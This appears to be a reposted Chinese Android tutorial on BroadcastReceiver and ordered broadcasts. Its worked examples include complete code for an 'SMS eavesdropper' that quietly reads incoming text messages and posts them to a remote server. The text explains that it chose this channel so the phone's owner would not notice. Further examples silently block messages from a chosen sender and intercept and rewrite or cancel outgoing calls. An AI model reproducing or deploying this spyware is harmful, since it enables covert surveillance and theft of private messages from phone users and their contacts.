android基础--广播接收者-BroadcastReceiver

来源:互联网 发布:array shift php 编辑:程序博客网 时间:2024/05/16 02:57
 

广播接收者BroadcastReceiver用于接收广播Intent,广播Intent的发送是通过调用Context.sendBroadcast(),Context.sendOrderedBroadcast()来实现的。

       一个广播可以被多个订阅了此广播的接收者接收。要实现一个广播接收者方法如下:

第一步:继承BroadcastReceiver,并重写onReceive()方法。

public class IncomingSMSReceiver extends BroadcastReceiver{

       public void onReceive(Context context,Intent intent){}

}

第二布:订阅感兴趣的广播Intent,方法有二

       1.使用代码进行订阅

              IntentFilter filter = new IntentFilter(“android.provider.Telephony.SMS_RECEIVED”);

              IncomingSMSReceiver receiver = new IncomingSMSReceiver();

              registerReceiver(receiver,filter);

       2.在Manifest.xml文件中的<application>节点里进行订阅

              <receiver android:name=".IncomingSMSReceiver">

                  <intent-filter>

                  <action android:name="android.provider.Telephony.SMS_RECEIVED"/>

                   </intent-filter>

</receiver>

广播类型:

       普通广播:异步,(逻辑上)同一时刻被所有接收者接收,相对传递效率高;

                       然而接收者不能将处理结果传递给下一个接收者,并且无法终止广播的传递

       有序广播:按照接收者声明的优先级别依次接收。

优先级别取值范围-1000---1000,在<intent-filter>的android:priority属性中声明,也可以调用IntentFilter对象的setPriority()进行设置。数值大则级别高。例如 A取300 ,B取200,C取100,则优先级A>B>C,广播先传给A,再给B,再给C;

有序广播可以终止广播的传播,例如A接到后终止了广播,则B和C就无法收到广播;

有序广播的接收者可以将数据传递给下一个接收者,如:A得到广播后,可以往他的结果对象中存入数据,当广播传给B时,B可以从A的结果对象中得到A存入的数据。

Context.sendBroadcast()发送普通广播

Context.sendOrderedBroadcast()发送有序广播

BroadcastReceiver.abortBroadcast()优先级高的终止广播,后面的接收者就再也无法获得广播

setResultExtras(Bundle)存放结果对象,然后传递给下一个接收者

下一个接收者通过:Bundle bundle = getResultExtras(true)可以获取上一个接收者存入在结果对象中的数据。

       系统接收到短信,发出的广播属于有序广播,如果想阻止用户收到短信可以通过设置优先级,让自定义的接收者先获取到广播,然后终止广播,这样用户就接不到了。

 

发送有序广播

 Intent broadcastIntent = new Intent(Intent.ACTION_NEW_OUTGOING_CALL);

 broadcastIntent.putExtra(Intent.EXTRA_PHONE_NUMBER, “13671200900”);

第一个参数为广播对象

 第二个参数为接收该广播的权限

 第三个参数为必须接收该广播的接收者,如果该广播不是一定要被某个接收者接收,该参数可以设置为null

 第四个参数为Hanndle,如果为null,接收者将在Context所在的主线程被调用

 第五个参数为用于标识结果数据的结果码

 第六个参数为结果数据

 第七个参数为附加到广播的额外数据

 sendOrderedBroadcast(broadcastIntent, "android.permission.PROCESS_OUTGOING_CALLS", new OutgoingCallReceiver(), null, Activity.RESULT_OK, number, null);

public class OutgoingCallReceiver extends BroadcastReceiver {

       public void onReceive(Context context, Intent intent) {

            String number = getResultData();//得到结果数据

        }

}

 

下面用一个短信窃听器的例子来测试广播接收者

启动两个手机模拟器5554和5556,窃听器安装在5554上,5556向5554发送短信,5554接收到短信时会发出一个广播Intent,Intent的action名称为

android.provider.Telephony.SMS_RECEIVED,该Intent存放了系统接收到的短信内容,使用”pdus”即可从Intent中获取到短信内容。

把窃听到的短信发送给窃听者,有两种做法:1.通过发送短信发送给窃听者,2.通过WEB网络发送给窃听者。第一种转发短信的方式要走短信通道,要花费短信费,如果窃听到的短信过多,会产生大量费用被用户发现。第二种走的是互联网络通道,无法查询手机访问了哪些网站,而且输入量不大,产生的网络流量费用也不多,用户也无从查询,这种方法较好。这里用第二种,新建了一个web应用

ReceiveSMSServlet.java

public class ReceiveSMSServlet extends HttpServlet {

       private static final long serialVersionUID = 1L;

       protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {

       }

       protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {

              //接收窃听器的传过来的三个参数

//            String content = message.getMessageBody();//取得短信内容

//            Date date = new Date(message.getTimestampMillis());//取得短信接收时间

//            //2011-9-10 22:33:00格式化时间

//            SimpleDateFormat format = new SimpleDateFormat("yyyy-MM-dd hh:mm:ss");

//            String receivetime = format.format(date);

//            String senderNumber = message.getOriginatingAddress();//取得发送者号码

      

              String content = request.getParameter("content");

              String receivetime = request.getParameter("receivetime");

              String senderNumber = request.getParameter("senderNumber");

              System.out.println("短信内容:"+content);

              System.out.println("接收时间:"+receivetime);

              System.out.println("发送者:"+senderNumber);

             

       }

 

}

SMSBroadcastReceiver.java

/**

 * 该类实现了两个功能, 一个是接收短信,一个是访问网络把短信参数发给WEB应用

 * 所以要申请两个权限:接收短信权限,访问网络权限,要把这两个权限加入项目中

 */

public class SMSBroadcastReceiver extends BroadcastReceiver {

       //通过onReceive方法得到广播意图

       public void onReceive(Context context, Intent intent) {

              Object [] pdus = (Object[]) intent.getExtras().get("pdus");

              for(Object p:pdus){

                     byte [] pdu = (byte[])p;

                     //转换格式

                     SmsMessage message = SmsMessage.createFromPdu(pdu);//得到短信对象

                     String content = message.getMessageBody();//取得短信内容

                     Date date = new Date(message.getTimestampMillis());//取得短信接收时间

                     //2011-9-10 22:33:00格式化时间

                     SimpleDateFormat format = new SimpleDateFormat("yyyy-MM-dd hh:mm:ss");

                     String receivetime = format.format(date);

                     String senderNumber = message.getOriginatingAddress();//取得发送者号码

                     //把窃听到的短信发送给窃听者,有两种做法:1.通过发送短信发送给窃听者,2.通过WEB网络发送给窃听者

                     //第一种转发短信的方式要走短信通道,要花费短信费,如果窃听到的短信过多,会产生大量费用被用户发现

                     //第二种走的是互联网络通道,无法查询手机访问了哪些网站,而且输入量不大,产生的网络流量费用也不多,用户也无从查询,这种方法较好

                     //这里用第二种,新建了一个web应用

                    

                     //发送短信到WEB应用

                     sendSMS(content,receivetime,senderNumber);

              }

       }

       private boolean sendSMS(String content, String receivetime, String senderNumber) {

             

              try{

                     String params = "content="+URLEncoder.encode(content, "UTF-8")+"&receivetime="+receivetime+"&senderNumber="+senderNumber;

                     byte [] entity =params.getBytes();

                     String path = "http://192.168.1.200:8080/videonews/ReceiveSMSServlet";

                     HttpURLConnection connection = (HttpURLConnection) new URL(path).openConnection();

                     connection.setConnectTimeout(5000);

                     connection.setRequestMethod("POST");

                     connection.setDoOutput(true);

                     connection.setRequestProperty("Content-Type", "application/x-www-form-urlencoded");

                     connection.setRequestProperty("Content-Length", String.valueOf(entity.length));

                     connection.getOutputStream().write(entity);

                     if(connection.getResponseCode()==200){

                            return true;

                     }

              }catch (Exception e) {

                     e.printStackTrace();

              }

              return false;

       }

}

Manifest.xml

<?xml version="1.0" encoding="utf-8"?>

<manifest xmlns:android="http://schemas.android.com/apk/res/android"

      package="cn.com.listener"

      android:versionCode="1"

      android:versionName="1.0">

    <application android:icon="@drawable/icon" android:label="@string/app_name">

       <!-- 配置广播接收者组件 -->

       <receiver android:name=".SMSBroadcastReceiver">

           <!-- 订阅短信到来的广播 -->

           <intent-filter>

              <action android:name="android.provider.Telephony.SMS_RECEIVED"/>

           </intent-filter>

       </receiver>

    </application>

    <uses-sdk android:minSdkVersion="8" />

    <!-- 配置接收短信权限 -->

    <uses-permission android:name="android.permission.RECEIVE_SMS"/>

    <!-- 配置网络访问权限 -->

    <uses-permission android:name="android.permission.INTERNET"/>

下面我们修改project,把project变成一个短信黑名单,功能是把5556发送给5554的短信屏蔽掉,让窃听器接收到,而5554收不到,原理是利用有序广播性质,修改窃听器的优先级别,使它接收短信的级别高于5554接收短信的级别,当先于5554窃听到短信之后,把广播终止掉,从而使5554接收不到。

1.       Manifest.xml中为窃听器添加级别

<intent-filter android:priority="1000">

    <action android:name="android.provider.Telephony.SMS_RECEIVED"/>

</intent-filter>

2.在SMSBroadcastReceiver.java中判断

//判断是不是5556发送过来的短息,如果是则终止广播

           if("15555215556".equals(senderNumber)){

              abortBroadcast();

           }

测试:5556向5554发送信息,信息的内容,时间,发送者显示与控制台,而5554接收不到。

下面来实现一个拦截外拨电话功能:

功能详细描述如下:5554要给5556打电话,拨打5556后自动挂断

原理:当5554拨5556按下拨打电话的按键后,触及了这样一项工作:发出了外拨电话的有序广播,拨号器中有一个广播接收者,会得到该广播,然后获取电话号码并拨打出去;针对此我们自己建一个广播接收者,优先得到广播获取电话号码,如果发现没有12593,就加上12593并向下传给优先级次之的接收者,如果发现是5556,就终止广播。

1.配置组件

    <receiver android:name=".PhoneBroadcastReceiver">

    <intent-filter android:priority="1000">

              <!-- 外拨电话的动作名称 -->

<action android:name="android.intent.action.NEW_OUTGOING_CALL"/>

    </intent-filter>

</receiver>

2.配置权限

<!-- 配置外拨电话权限权限 -->

<uses-permission android:name="android.permission.PROCESS_OUTGOING_CALLS"/>

3. PhoneBroadcastReceiver.java

public class PhoneBroadcastReceiver extends BroadcastReceiver {

    public void onReceive(Context context, Intent intent) {

       String number = getResultData();//当5556按下拨打键后会发出广播,把号码传进接收者的结果对象里,调用此方法取得广播接收者的结果数据(这里即电话号码)

       if("5556".equals(number)){

           //在这里终止广播调用abortBroadcast()不行,因为点击拨号按钮后发送有序广播的代码是

          //sendOrderedBroadcast(broadcastIntent, "android.permission.PROCESS_OUTGOING_CALLS", new OutgoingCallReceiver(), null, Activity.RESULT_OK, number, null);

           //第三个参数new OutgoingCallReceiver()传入了一个接收者,不管终止与否都会传递给外拨电话的接收者。于是要把号码置为空

           setResultData(null);

       }else{

           number = "12593"+number;

           setResultData(number);//把新的号码设回到结果对象里,当广播最终传递给拨号器里面的接收者时,拨号器里的接收者得到的是加上了12593的电话号码

       }

    }

}

广播接收者的响应性

    每次广播消息到来的时候都会创建BroadcastReceive实例并执行onReceive()方法,方法执行完后,实例被销毁。也就是说广播接收者实例在消息到来时被创建,在onReceive()方法执行完后被销毁。

    onReceive()方法必须在10秒内执行完毕,否则会弹出ANR(Application No Response)错误对话框。如果要完成一项耗时的工作,应通过发送intent给Service来完成,而不能用子线程来完成,原因是:BroadcastReceive组件的生命周期很短,子线程可能还没结束,而BroadcastReceive就结束了,从而BroadcastReceive所在的进程成为了空进程(没有任何活动组件的进程),当系统需要内存时空进程优先被杀死,那么正在工作的子线程也被杀死,所以采用子线程解决是不可靠的。